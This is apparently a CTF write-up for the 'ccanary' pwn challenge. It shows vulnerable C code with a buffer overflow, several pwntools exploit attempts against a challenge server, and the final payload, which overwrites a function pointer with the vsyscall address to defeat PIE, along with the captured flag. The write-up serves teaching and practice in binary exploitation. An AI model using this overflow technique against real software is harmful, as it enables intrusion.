ccanary

Description

I'm using arch btw... ¯\_(ツ)_/¯

Challenge files:

Look at the source code, we can see that it got a buffer overflow vulnerability at the quotegets function:

void quotegets(char* inp) {
	*inp = '"';
	// read input
	for (; *inp != '\n';)
		*++inp = fgetc(stdin);
	// append postfix
	for (char* postfix = "\"\n- you, 2021"; *postfix; postfix++)
		*inp++ = *postfix;
	// NUL-terminate
	*inp = 0;
}

Look at the main function, looks like we can overwrite the call_canary and give_flag inside the structure variable:

int main(void) {
    ignore_me_init_buffering();
    struct data data = {
        .yourinput = { 0 },
        .call_canary = canary,
        .give_flag = 0,
    };

    printf("quote> ");
    quotegets((char*) &data.yourinput);

    data.call_canary();
    puts("good birb!");

    puts("");
    puts((char*) &data.yourinput);

    if (data.give_flag) {
        puts("Here's the flag:");
        system("cat flag");
    }
    return 0;
}

Unfortunately, running checksec the binary have PIE enabled (means function address random)

checksec ccanary
[*] '/home/hong/ctf/alles2021/ccanary/ccanary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Exploit

So basically we must overwrite the give_flag to anything, then it will run cat flag.txt for us

But the call_canary also will overwritten, if we overwrite it with invalid function address, it will just SEGFAULT before it prints the flag

Attempt 1

Assume the machine PIE feauture is disabled, so we can overwrite it with the default address

I first compile it with no-pie flag, then view the default address:

gcc -o test ccanary.c -no-pie 
objdump -x test
...
...
00000000004013b0 g     F .text  0000000000000065              __libc_csu_init
0000000000404090 g       .bss   0000000000000000              _end
0000000000401120 g     F .text  0000000000000005              .hidden _dl_relocate_static_pie
00000000004010f0 g     F .text  000000000000002f              _start
0000000000404058 g       .bss   0000000000000000              __bss_start
00000000004012ce g     F .text  00000000000000dd              main
0000000000000000       F *UND*  0000000000000000              setvbuf@@GLIBC_2.2.5
0000000000401252 g     F .text  000000000000007c              quotegets
0000000000404058 g     O .data  0000000000000000              .hidden __TMC_END__
0000000000401000 g     F .init  0000000000000000              .hidden _init
000000000040123b g     F .text  0000000000000017              canary
0000000000404080 g     O .bss   0000000000000008              stderr@@GLIBC_2.2.5

Then I wrote a pwntools script to exploit it:

from pwn import *
elf = ELF("./test")

p = elf.process()
p.sendlineafter(b"quote> ",(b"a"*31+p64(0x40123b)))
p.interactive()
 python3 solve.py
[*] '/home/hong/ctf/alles2021/ccanary/test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/hong/ctf/alles2021/ccanary/test': pid 1147
[*] Switching to interactive mode
canary: *chirp* *chirp*
good birb!

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\x12
Here's the flag:
cat: flag: No such file or directory
[*] Got EOF while reading in interactive

It works locally! But it failed in the real machine…

p = remote("7b000000a8c3acb6af92129b-ccanary.challenge.master.allesctf.net", 31337,ssl=True)
p.sendlineafter(b"quote> ",(b"a"*31+p64(0x4012ce)))
p.interactive()
python3 solve.py
[*] '/home/hong/ctf/alles2021/ccanary/test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/hong/ctf/alles2021/ccanary/test': pid 1300
[+] Opening connection to 7b000000a8c3acb6af92129b-ccanary.challenge.master.allesctf.net on port 31337: Done
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 7b000000a8c3acb6af92129b-ccanary.challenge.master.allesctf.net port 31337

Attempt 2

Maybe the address not start with 4? So I tried to brute force from 1 to 9 address.

But It fails again…

Attempt 3

At the end I did not solve this during the CTF.. I look for writeups at the Discord, and I saw someone mention about overwrite with vsyscall address

The vsyscall address at Linux kernel so will be static for all systems I guess?

vsyscall and vdso

Then I tried the address 0xffffffffff600000 it works like charm!!

python3 solve.py
[*] '/home/hong/ctf/alles2021/ccanary/test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 7b000000a8c3acb6af92129b-ccanary.challenge.master.allesctf.net on port 31337: Done
[*] Switching to interactive mode
good birb!

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Here's the flag:
ALLES!{th1s_m1ght_n0t_work_on_y0ur_syst3m_:^)}

Full script

Flag

ALLES!{th1s_m1ght_n0t_work_on_y0ur_syst3m_:^)}